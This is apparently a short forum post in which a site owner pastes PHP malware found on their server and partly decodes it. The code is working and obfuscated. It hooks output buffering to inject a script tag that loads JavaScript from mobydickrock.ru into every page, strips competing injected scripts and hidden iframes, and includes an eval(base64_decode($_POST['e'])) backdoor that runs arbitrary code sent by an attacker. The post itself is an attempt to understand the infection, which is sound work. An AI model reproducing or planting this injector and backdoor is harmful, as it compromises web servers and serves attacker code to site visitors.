This is the actual code,
it look like it try to excute javascript code from
http://mobydickrock.ru/hope/yandex_66a7973f6eaf9ba9.php
if(!isset($d0jn1)){function d0jn($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL21vYnlkaWNrcm9jay5ydS9ob3BlL3lhbmRleF82NmE3OTczZjZlYWY5YmE5LnBocCA+PC9zY3JpcHQ+'),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function d0jn2($a,$b,$c,$d){global $d0jn1;$s=array();if(function_exists($d0jn1))call_user_func($d0jn1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='d0jn')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('d0jn');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$d0jnl=(($a=@set_error_handler('d0jn2'))!='d0jn2')?$a:0;eval(base64_decode($_POST['e']));
$a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL21vYnlkaWNrcm9jay5ydS9ob3BlL3lhbmRleF82NmE3OTczZjZlYWY5YmE5LnBocCA+PC9zY3JpcHQ
by decoding, it becomes
$a=
<script src=http://mobydickrock.ru/hope/yandex_66a7973f6eaf9ba9.php</script>
